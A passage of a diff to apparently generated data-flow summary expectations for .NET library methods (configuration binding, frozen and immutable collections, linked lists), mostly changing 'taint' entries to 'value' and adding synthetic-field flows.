Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration,System.Type);Argument[0];ReturnValue;value;df-generated | | Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration,System.Type,System.Action);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | -| Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration);Argument[0];ReturnValue;taint;df-generated | +| Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration);Argument[0];ReturnValue;value;df-generated | | Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration,System.Action);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | Microsoft.Extensions.Configuration;ConfigurationBinder;GetValue;(Microsoft.Extensions.Configuration.IConfiguration,System.Type,System.String,System.Object);Argument[3];ReturnValue;value;dfc-generated | | Microsoft.Extensions.Configuration;ConfigurationBinder;GetValue;(Microsoft.Extensions.Configuration.IConfiguration,System.String,T);Argument[2];ReturnValue;value;dfc-generated | @@ -5058,7 +5058,7 @@ | System.Collections.Concurrent;Partitioner;Create;(System.Collections.Generic.IEnumerable,System.Collections.Concurrent.EnumerablePartitionerOptions);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Concurrent;Partitioner;Create;(System.Collections.Generic.IList,System.Boolean);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Concurrent;Partitioner;Create;(TSource[],System.Boolean);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Frozen;FrozenDictionary;ToFrozenDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IEqualityComparer);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Frozen;FrozenDictionary;ToFrozenDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue;value;df-generated | | System.Collections.Frozen;FrozenDictionary;ToFrozenDictionary;(System.Collections.Generic.IEnumerable,System.Func,System.Func,System.Collections.Generic.IEqualityComparer);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Collections.Frozen;FrozenDictionary;ToFrozenDictionary;(System.Collections.Generic.IEnumerable,System.Func,System.Func,System.Collections.Generic.IEqualityComparer);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.Collections.Frozen;FrozenDictionary;ToFrozenDictionary;(System.Collections.Generic.IEnumerable,System.Func,System.Collections.Generic.IEqualityComparer);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | @@ -5075,7 +5075,7 @@ | System.Collections.Frozen;FrozenDictionary;get_Values;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Frozen;FrozenSet;Create;(System.Collections.Generic.IEqualityComparer,System.ReadOnlySpan);Argument[1];ReturnValue;taint;df-generated | | System.Collections.Frozen;FrozenSet;Create;(System.ReadOnlySpan);Argument[0];ReturnValue;taint;df-generated | -| System.Collections.Frozen;FrozenSet;ToFrozenSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Frozen;FrozenSet;ToFrozenSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue;value;df-generated | | System.Collections.Frozen;FrozenSet+AlternateLookup;Contains;(TAlternate);Argument[0];Argument[this];taint;df-generated | | System.Collections.Frozen;FrozenSet+AlternateLookup;TryGetValue;(TAlternate,T);Argument[0];Argument[this];taint;df-generated | | System.Collections.Frozen;FrozenSet+AlternateLookup;TryGetValue;(TAlternate,T);Argument[this];Argument[1];taint;df-generated | @@ -5167,8 +5167,12 @@ | System.Collections.Generic;LinkedList+Enumerator;get_Current;();Argument[this].Property[System.Collections.Generic.LinkedList`1+Enumerator.Current];ReturnValue;value;dfc-generated | | System.Collections.Generic;LinkedList+Enumerator;get_Current;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Generic;LinkedList+Enumerator;get_Current;();Argument[this];ReturnValue;taint;dfc-generated | +| System.Collections.Generic;LinkedList;AddAfter;(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];Argument[1].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | | System.Collections.Generic;LinkedList;AddAfter;(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next];Argument[1].SyntheticField[System.Collections.Generic.LinkedListNode`1.next];value;dfc-generated | +| System.Collections.Generic;LinkedList;AddAfter;(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode);Argument[1];Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | +| System.Collections.Generic;LinkedList;AddAfter;(System.Collections.Generic.LinkedListNode,T);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];ReturnValue.SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | | System.Collections.Generic;LinkedList;AddAfter;(System.Collections.Generic.LinkedListNode,T);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next];ReturnValue.SyntheticField[System.Collections.Generic.LinkedListNode`1.next];value;dfc-generated | +| System.Collections.Generic;LinkedList;AddBefore;(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode);Argument[1];Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | | System.Collections.Generic;LinkedList;AddBefore;(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode);Argument[1];Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head];value;dfc-generated | | System.Collections.Generic;LinkedList;AddBefore;(System.Collections.Generic.LinkedListNode,T);Argument[0];Argument[this];taint;df-generated | | System.Collections.Generic;LinkedList;AddBefore;(System.Collections.Generic.LinkedListNode,T);Argument[0];ReturnValue;taint;df-generated | @@ -5180,6 +5184,7 @@ | System.Collections.Generic;LinkedList;AddFirst;(T);Argument[0];Argument[this];taint;df-generated | | System.Collections.Generic;LinkedList;AddFirst;(T);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Generic;LinkedList;AddFirst;(T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Generic;LinkedList;AddLast;(System.Collections.Generic.LinkedListNode);Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | | System.Collections.Generic;LinkedList;AddLast;(System.Collections.Generic.LinkedListNode);Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head];Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next];value;dfc-generated | | System.Collections.Generic;LinkedList;AddLast;(T);Argument[0];Argument[this];taint;df-generated | | System.Collections.Generic;LinkedList;AddLast;(T);Argument[0];ReturnValue;taint;df-generated | @@ -5190,8 +5195,9 @@ | System.Collections.Generic;LinkedList;LinkedList;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this];taint;df-generated | | System.Collections.Generic;LinkedList;LinkedList;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[0];Argument[this];taint;df-generated | | System.Collections.Generic;LinkedList;Remove;(System.Collections.Generic.LinkedListNode);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next];Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head];value;dfc-generated | +| System.Collections.Generic;LinkedList;Remove;(System.Collections.Generic.LinkedListNode);Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];value;dfc-generated | | System.Collections.Generic;LinkedList;get_First;();Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head];ReturnValue;value;dfc-generated | -| System.Collections.Generic;LinkedList;get_Last;();Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Generic;LinkedList;get_Last;();Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev];ReturnValue;value;dfc-generated | | System.Collections.Generic;LinkedListNode;LinkedListNode;(T);Argument[0];Argument[this];taint;df-generated | | System.Collections.Generic;LinkedListNode;get_List;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Generic;LinkedListNode;get_Next;();Argument[this];ReturnValue;taint;df-generated | @@ -5511,13 +5517,13 @@ | System.Collections.Immutable;ImmutableArray;Slice;(System.Int32,System.Int32);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableArray;Sort;();Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Collections.Generic.IComparer);Argument[this];Argument[0];taint;df-generated | -| System.Collections.Immutable;ImmutableArray;Sort;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableArray;Sort;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Comparison);Argument[0];Argument[0].Parameter[delegate-self];value;dfc-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Comparison);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Comparison);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Comparison);Argument[this];ReturnValue;value;hq-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Int32,System.Int32,System.Collections.Generic.IComparer);Argument[this];Argument[2];taint;df-generated | -| System.Collections.Immutable;ImmutableArray;Sort;(System.Int32,System.Int32,System.Collections.Generic.IComparer);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableArray;Sort;(System.Int32,System.Int32,System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableArray;ToBuilder;();Argument[this].Element;ReturnValue.Element;value;dfc-generated | | System.Collections.Immutable;ImmutableArray;get_Item;(System.Int32);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableArray`1.array].Element;ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary;Create;(System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue;taint;df-generated | @@ -5600,13 +5606,16 @@ | System.Collections.Immutable;ImmutableDictionary;AddRange;(System.Collections.Generic.IEnumerable>);Argument[0].Element;Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableDictionary;Clear;();Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableDictionary`2+Enumerator.Current];value;manual | -| System.Collections.Immutable;ImmutableDictionary;Remove;(TKey);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableDictionary;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableDictionary;SetItem;(TKey,TValue);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableDictionary;Remove;(TKey);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableDictionary;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableDictionary;SetItem;(TKey,TValue);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableDictionary;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableDictionary;TryGetKey;(TKey,TKey);Argument[0];Argument[1];value;dfc-generated | +| System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._keyComparer];value;df-generated | | System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._keyComparer];value;dfc-generated | +| System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._keyComparer];value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._valueComparer];value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;dfc-generated | @@ -5634,14 +5643,17 @@ | System.Collections.Immutable;ImmutableHashSet+Enumerator;get_Current;();Argument[this];ReturnValue;taint;dfc-generated | | System.Collections.Immutable;ImmutableHashSet;Add;(T);Argument[0];Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableHashSet;Clear;();Argument[this].WithoutElement;ReturnValue;value;manual | -| System.Collections.Immutable;ImmutableHashSet;Except;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableHashSet;Except;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableHashSet;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableHashSet`1+Enumerator.Current];value;manual | | System.Collections.Immutable;ImmutableHashSet;Intersect;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableHashSet;Remove;(T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableHashSet;Remove;(T);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableHashSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableHashSet;TryGetValue;(T,T);Argument[0];Argument[1];value;dfc-generated | +| System.Collections.Immutable;ImmutableHashSet;Union;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableHashSet;Union;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableHashSet;Union;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableHashSet;Union;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet;WithComparer;(System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet;get_KeyComparer;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func);Argument[1];Argument[2].Parameter[0];value;dfc-generated | @@ -5692,17 +5704,17 @@ | System.Collections.Immutable;ImmutableList;Create;(System.ReadOnlySpan);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableList;Create;(T);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableList;Create;(T[]);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;CreateRange;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;CreateRange;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;IndexOf;(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer);Argument[0].Element;Argument[2];taint;df-generated | | System.Collections.Immutable;ImmutableList;IndexOf;(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer);Argument[1];Argument[2];taint;df-generated | | System.Collections.Immutable;ImmutableList;LastIndexOf;(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer);Argument[0].Element;Argument[2];taint;df-generated | | System.Collections.Immutable;ImmutableList;LastIndexOf;(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer);Argument[1];Argument[2];taint;df-generated | -| System.Collections.Immutable;ImmutableList;Remove;(System.Collections.Immutable.IImmutableList,T);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Immutable.IImmutableList,System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;Replace;(System.Collections.Immutable.IImmutableList,T,T);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;Remove;(System.Collections.Immutable.IImmutableList,T);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Immutable.IImmutableList,System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableList;Replace;(System.Collections.Immutable.IImmutableList,T,T);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(System.Collections.Immutable.IImmutableList,T,T);Argument[2];Argument[0].Element;taint;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(System.Collections.Immutable.IImmutableList,T,T);Argument[2];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;ToImmutableList;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;ToImmutableList;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList+Builder;AddRange;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableList+Builder;BinarySearch;(System.Int32,System.Int32,T,System.Collections.Generic.IComparer);Argument[2];Argument[3];taint;df-generated | | System.Collections.Immutable;ImmutableList+Builder;BinarySearch;(System.Int32,System.Int32,T,System.Collections.Generic.IComparer);Argument[this];Argument[3];taint;df-generated | @@ -5780,27 +5792,26 @@ | System.Collections.Immutable;ImmutableList;Insert;(System.Int32,T);Argument[1];Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableList;InsertRange;(System.Int32,System.Collections.Generic.IEnumerable);Argument[1].Element;Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableList;LastIndexOf;(T,System.Int32,System.Int32,System.Collections.Generic.IEqualityComparer);Argument[0];Argument[3];taint;df-generated | -| System.Collections.Immutable;ImmutableList;Remove;(T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;Remove;(T);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Remove;(T,System.Collections.Generic.IEqualityComparer);Argument[0];Argument[1];taint;df-generated | -| System.Collections.Immutable;ImmutableList;Remove;(T,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;Remove;(T,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;RemoveAll;(System.Predicate);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | -| System.Collections.Immutable;ImmutableList;RemoveAt;(System.Int32);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;RemoveAt;(System.Int32);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;df-generated | -| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Int32,System.Int32);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Int32,System.Int32);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(T,T);Argument[1];Argument[this];taint;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(T,T);Argument[1];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;Replace;(T,T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;Replace;(T,T);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(T,T,System.Collections.Generic.IEqualityComparer);Argument[0];Argument[2];taint;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(T,T,System.Collections.Generic.IEqualityComparer);Argument[1];Argument[this];taint;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(T,T,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;Replace;(T,T,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;Replace;(T,T,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Reverse;();Argument[this].Element;ReturnValue.Element;value;manual | | System.Collections.Immutable;ImmutableList;Reverse;(System.Int32,System.Int32);Argument[this].Element;ReturnValue.Element;value;manual | | System.Collections.Immutable;ImmutableList;SetItem;(System.Int32,T);Argument[1];Argument[this];taint;df-generated | | System.Collections.Immutable;ImmutableList;SetItem;(System.Int32,T);Argument[1];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;SetItem;(System.Int32,T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;SetItem;(System.Int32,T);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Sort;();Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableList;Sort;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableList;Sort;(System.Comparison);Argument[0];Argument[0].Parameter[delegate-self];value;dfc-generated | @@ -5831,15 +5842,15 @@ | System.Collections.Immutable;ImmutableSortedDictionary;CreateBuilder;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;CreateBuilder;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable>);Argument[0];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable>);Argument[1].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable>);Argument[1];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>);Argument[1];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>);Argument[2].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IEnumerable>);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>);Argument[2];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IEnumerable>);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer);Argument[1];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[2];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable,System.Func,System.Func);Argument[0].Element;Argument[1].Parameter[0];value;dfc-generated | @@ -5896,17 +5907,27 @@ | System.Collections.Immutable;ImmutableSortedDictionary;Clear;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedDictionary;Clear;();Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedDictionary;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableSortedDictionary`2+Enumerator.Current];value;manual | -| System.Collections.Immutable;ImmutableSortedDictionary;Remove;(TKey);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;Remove;(TKey);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;SetItem;(TKey,TValue);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._root].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2+Node._key];value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;SetItem;(TKey,TValue);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._root].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2+Node._key];value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[0].Element;ReturnValue;taint;df-generated | -| 